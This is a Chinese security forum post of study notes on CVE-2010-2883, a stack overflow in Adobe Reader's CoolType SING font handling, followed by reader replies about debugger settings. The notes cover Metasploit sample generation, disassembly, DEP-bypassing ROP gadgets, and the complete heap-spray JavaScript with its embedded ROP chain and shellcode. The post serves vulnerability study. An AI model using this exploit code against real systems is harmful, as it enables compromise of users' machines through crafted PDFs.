首页
社区
课程
招聘
[原创]CVE-2010-2883学习笔记
2018-8-13 21:24 9115

[原创]CVE-2010-2883学习笔记

2018-8-13 21:24
9115

CVE-2010-2883学习笔记

CVE-2010-2883是PDF阅读器Adobe Reader的一个栈溢出漏洞。以下是我的学习笔记。

 

该漏洞学习主要是参照泉哥的《漏洞战争》的相关内容。

1.分析环境

  • 操作系统:XP SP3
  • 调试器:OllyDbg
  • 反汇编:IDA Pro 7.0
  • Adobe Reader : 9.3.4

2.基本信息

2.1 使用Metasploit生成样本

msf exploit(windows/fileformat/adobe_cooltype_sing) > show options 
Module options (exploit/windows/fileformat/adobe_cooltype_sing):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.pdf          yes       The file name.
Payload options (windows/exec):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   CMD       calc.exe         yes       The command string to execute
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   **DisablePayloadHandler: True   (RHOST and RPORT settings will be ignored!)**
Exploit target:
   Id  Name
   --  ----
   0   Automatic
msf exploit(windows/fileformat/adobe_cooltype_sing) > run
[*] Creating 'msf.pdf' file...
[+] msf.pdf stored at /root/.msf4/local/msf.pdf
msf exploit(windows/fileformat/adobe_cooltype_sing) >

2.2 漏洞基本信息

漏洞存在于Adobe Reader 8.2.4到9.3.4之间的版本,在CoolType.dll库中处理字体文件SING( Smart INdependent Glyplets)表中uniqueName项时存在栈溢出漏洞。

2.2.1 用IDA 打开CoolType.dll,定位到出现漏洞的位置

.text:0803DD74                 push    offset aSing    ; "SING"
.text:0803DD79                 push    edi             ; int
.text:0803DD7A                 lea     ecx, [ebp+108h+var_12C]
.text:0803DD7D                 call    sub_8021B06
.text:0803DD82                 mov     eax, [ebp+108h+var_12C]
.text:0803DD85                 cmp     eax, esi
.text:0803DD87                 mov     byte ptr [ebp+108h+var_10C], 2
.text:0803DD8B                 jz      short loc_803DDC4
.text:0803DD8D                 mov     ecx, [eax]
.text:0803DD8F                 and     ecx, 0FFFFh
.text:0803DD95                 jz      short loc_803DD9F
.text:0803DD97                 cmp     ecx, 100h
.text:0803DD9D                 jnz     short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F:                            ; CODE XREF: sub_803DCF9+9Cj
.text:0803DD9F                 add     eax, 10h
.text:0803DDA2                 push    eax             ; char *
.text:0803DDA3                 lea     eax, [ebp+108h+var_108]
.text:0803DDA6                 push    eax             ; char *
.text:0803DDA7                 mov     [ebp+108h+var_108], 0
.text:0803DDAB                 call    strcat

strcat进行字符串拼接时没有进行长度判断,产生栈溢出。

2.2.2 PDF文件分析

使用PdfStreamDumper打开样本文件,在第10个Stream中找到SING字段,将这个Stream另存为TTF文件。

 

 

使用010edit打开另存的TTF文件,加载TTF文件模板,TTF的TableEntry结构如下:

 


在offset 11ch位置找到具体内容:

其中0x10偏移开始为uniqueName字段,大小为28字节且以\x00结尾。但是在CoolType.dll中,使用strcat操作此处时并没有判断长度,所以构造超长的uniqueName可导致栈溢出。

3.漏洞利用

  • 使用OllyDbg调试

  • 在strcat处下断点

    .text:0803DDAB call strcat

  • 常见栈溢出漏洞,溢出后会覆盖当前函数的返回地址。我在该开始调试该漏洞时也是直接在当前函数ret处下断点,但是发现还没执行到ret时,已经跳入shellcode了。

  • 不知道什么原因,只能单步调试,多次调试后发现,如下图所示

其中,[eax]的值来自ds:[edi:0x3c] ==> 0x12e754 ==> 0x12e6d0 ==>0x4a80cb38(位于icucnv36.dll)

 

 

分析可知,该漏洞利用没有使用覆盖返回地址的方法,而是覆盖了一个虚函数表指针,从而控制程序执行流程

  • ROP分析,从上一步开始,开始利用ROP技术绕过DEP防护
4A80CB38    81C5 94070000   add ebp,0x794
4A80CB3E    C9              leave
4A80CB3F    C3              retn
4A82A714    5C              pop esp                                  ; 0C0C0C0C
4A82A715    C3              retn

通过两次跳转,将栈空间切换到0x0c0c0c0c

  • HeapSpray,0x0c0c0c0c地址由PDF中的js脚本进行堆喷射,提前布置好了rop和shellcode(使用PdfStreamDumper提取)

堆喷射代码

var enAYNGNRDyvEOwyQxJBVSzEtKEFrhZtYSeVvRqRWeAQh = unescape;
var GMqjnnCwUjyvzGPbsJAmJKsaOruFxdBSlsxbqqObeuVLcoOfjRLrsTbjWPRZttWLQSvDediisxzeEUXtNhpEkoBpyvdhPgeA = enAYNGNRDyvEOwyQxJBVSzEtKEFrhZtYSeVvRqRWeAQh( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uc4d9%uc8ba%u54dc%ud905%u2474%u5ef4%uc92b%u31b1%u5631%u8318%ufcee%u5603%u3edc%uf9a1%u3c34%u024a%u21c4%ue7c2%u61f5%u6cb0%u51a5%u21b2%u1949%ud196%u6fda%ud53f%uc56b%ud819%u766c%u7b59%u85ee%u5b8e%u45cf%u9ac3%ubb08%uce2e%ub7c1%uff9d%u8d66%u8b1d%u0334%u6826%u228c%u3f07%u7c87%uc187%uf544%ud98e%u3089%u5158%uce79%ub35b%u2fb0%ufaf7%uc27d%u3a09%u3db9%u327c%uc0ba%u8187%u1ec1%u120d%ud461%ufeb5%u3990%u7423%uf69e%ud227%u0982%u68eb%u82be%ubf0a%ud037%u1b28%u821c%u3a51%u65f8%u5c6d%udaa3%u16cb%u0e49%u7566%ud107%u03f4%ud165%u0c06%ubad9%u8737%ubdb6%u42c7%u32f3%ucf82%udb55%u9a4b%u86e4%u706b%ubf2a%u71ef%u44d2%uf3ef%u01d7%ue8b7%u1aa5%u0f52%u1a1a%u6c77%u88fd%u5d1b%u2898%ua1b9' );
var TxlBxGOdKPiAud = enAYNGNRDyvEOwyQxJBVSzEtKEFrhZtYSeVvRqRWeAQh( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (TxlBxGOdKPiAud.length + 20 + 8 < 65536) TxlBxGOdKPiAud+=TxlBxGOdKPiAud;
gwPdJCDQJlfpTzdd = TxlBxGOdKPiAud.substring(0, (0x0c0c-0x24)/2);
gwPdJCDQJlfpTzdd += GMqjnnCwUjyvzGPbsJAmJKsaOruFxdBSlsxbqqObeuVLcoOfjRLrsTbjWPRZttWLQSvDediisxzeEUXtNhpEkoBpyvdhPgeA;
gwPdJCDQJlfpTzdd += TxlBxGOdKPiAud;
HQyvXIIYtgUqwrysFuFWZiGUDJLMpBytzWMBHVpdUWxKQKJxdDxjjrYkHwxbDSMmoAeKZSwDSkoWcObZQgVN = gwPdJCDQJlfpTzdd.substring(0, 65536/2);
while(HQyvXIIYtgUqwrysFuFWZiGUDJLMpBytzWMBHVpdUWxKQKJxdDxjjrYkHwxbDSMmoAeKZSwDSkoWcObZQgVN.length < 0x80000) HQyvXIIYtgUqwrysFuFWZiGUDJLMpBytzWMBHVpdUWxKQKJxdDxjjrYkHwxbDSMmoAeKZSwDSkoWcObZQgVN += HQyvXIIYtgUqwrysFuFWZiGUDJLMpBytzWMBHVpdUWxKQKJxdDxjjrYkHwxbDSMmoAeKZSwDSkoWcObZQgVN;
MSSiAusyoiaVgGUWubXkmxUpnKGglTBexIFHLSeuKjmMkAEtwbxsPFcLMvhsYbwhC = HQyvXIIYtgUqwrysFuFWZiGUDJLMpBytzWMBHVpdUWxKQKJxdDxjjrYkHwxbDSMmoAeKZSwDSkoWcObZQgVN.substring(0, 0x80000 - (0x1020-0x08) / 2);
var ktTaACgwVjkYLaZPVooWQTTvnKgdCNvAYjCgoEHxyAZJSQYoxYmbLDrnxNLx = new Array();
for (RLhbmHnHRJTNAomlnnTawGdPyaqmRjYsOoOVellNNzCGUoVcSwmUBM=0;RLhbmHnHRJTNAomlnnTawGdPyaqmRjYsOoOVellNNzCGUoVcSwmUBM<0x1f0;RLhbmHnHRJTNAomlnnTawGdPyaqmRjYsOoOVellNNzCGUoVcSwmUBM++) ktTaACgwVjkYLaZPVooWQTTvnKgdCNvAYjCgoEHxyAZJSQYoxYmbLDrnxNLx[RLhbmHnHRJTNAomlnnTawGdPyaqmRjYsOoOVellNNzCGUoVcSwmUBM]=MSSiAusyoiaVgGUWubXkmxUpnKGglTBexIFHLSeuKjmMkAEtwbxsPFcLMvhsYbwhC+"s";

手动去掉混淆

var _unescape = unescape;
var shellcode_0 = _unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uc4d9%uc8ba%u54dc%ud905%u2474%u5ef4%uc92b%u31b1%u5631%u8318%ufcee%u5603%u3edc%uf9a1%u3c34%u024a%u21c4%ue7c2%u61f5%u6cb0%u51a5%u21b2%u1949%ud196%u6fda%ud53f%uc56b%ud819%u766c%u7b59%u85ee%u5b8e%u45cf%u9ac3%ubb08%uce2e%ub7c1%uff9d%u8d66%u8b1d%u0334%u6826%u228c%u3f07%u7c87%uc187%uf544%ud98e%u3089%u5158%uce79%ub35b%u2fb0%ufaf7%uc27d%u3a09%u3db9%u327c%uc0ba%u8187%u1ec1%u120d%ud461%ufeb5%u3990%u7423%uf69e%ud227%u0982%u68eb%u82be%ubf0a%ud037%u1b28%u821c%u3a51%u65f8%u5c6d%udaa3%u16cb%u0e49%u7566%ud107%u03f4%ud165%u0c06%ubad9%u8737%ubdb6%u42c7%u32f3%ucf82%udb55%u9a4b%u86e4%u706b%ubf2a%u71ef%u44d2%uf3ef%u01d7%ue8b7%u1aa5%u0f52%u1a1a%u6c77%u88fd%u5d1b%u2898%ua1b9' );
var addr_0c0c0c0c = _unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );

while (addr_0c0c0c0c.length + 20 + 8 < 65536) 
    addr_0c0c0c0c+=addr_0c0c0c0c;

shellcode_1 = addr_0c0c0c0c.substring(0, (0x0c0c-0x24)/2);
shellcode_1 += shellcode_0;
shellcode_1 += addr_0c0c0c0c;
shellcode_2 = shellcode_1.substring(0, 65536/2);

while(shellcode_2.length < 0x80000) 
    shellcode_2 += shellcode_2;

shellcode_3 = shellcode_2.substring(0, 0x80000 - (0x1020-0x08) / 2);

var heap_spray_arry = new Array();
for (i=0;i<0x1f0;i++) 
    heap_spray_arry[i]=shellcode_3+"s";
  • 继续ROP

此处ROP,依次调用CreateFileA、CreateFileMappingA、MapViewOfFile,在内存中开辟一块可读可写可执行的地址。

 

 

再调用memcpy,将shellcode拷贝到新的内存空间中去。

 

  • 跳转进入shellcode,执行payload。

4.小结

  • 这是一个典型的栈溢出漏洞

  • 漏洞利用没覆盖返回地址,而是覆盖了虚函数表。

    《漏洞战争》书中调试时,使用了内存访问断点,可以更加直接地断在溢出后利用的地方

5.参考资料


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞2
打赏
分享
最新回复 (5)
雪    币: 1
活跃值: (213)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Flyour 2018-9-15 21:47
2
0
不知道为什么,我用od调试时,设好断点, 用adobe reader打开msf.pdf,就会进入这个异常处理这里。之后再f8或f9都不能到设定的断点处。我把断点直接设在了call strcat 处。怎么办?

雪    币: 1
活跃值: (213)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Flyour 2018-9-15 23:12
3
0
奇怪了,我用看雪的od,调试另一个文件(shellcode 是调用计算器),不加任何断点,程序不会正常执行下去,总会进入上面的 Rtlraiseexception异常里面(f9也不行)。而我用吾爱破解的od就可以正常调用计算器。然后吾爱的od也可以正常中断到 call strcat 。感觉是od设置的问题,或者是软件反调试的问题。导致用看雪od调试时会接受到异常信号。
雪    币: 1
活跃值: (213)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Flyour 2018-9-15 23:39
4
0
找到问题了,我对比了一下两个od的调试设置,需要再调试设置里面里的 "同时忽略以下指定的异常或范围" 里添加范围 00000000-ffffffff。然后就行了,果然是od没有忽略掉一些异常导致的。
雪    币: 1
活跃值: (213)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Flyour 2018-9-17 23:35
5
0
"而是覆盖了一个虚函数表指针", 我觉得更准确的说是 虚函数表里的函数指针被修改了。 “虚函数表指针”给人一种VPTR(虚表指针)的感觉.
雪    币: 1657
活跃值: (924)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
夜航星 2020-7-7 19:22
6
0
我根据找到的strcpy复制到的目标地址下内存访问断点,断到的位置和书上完全不一样,心态都炸了。
游客
登录 | 注册 方可回帖
返回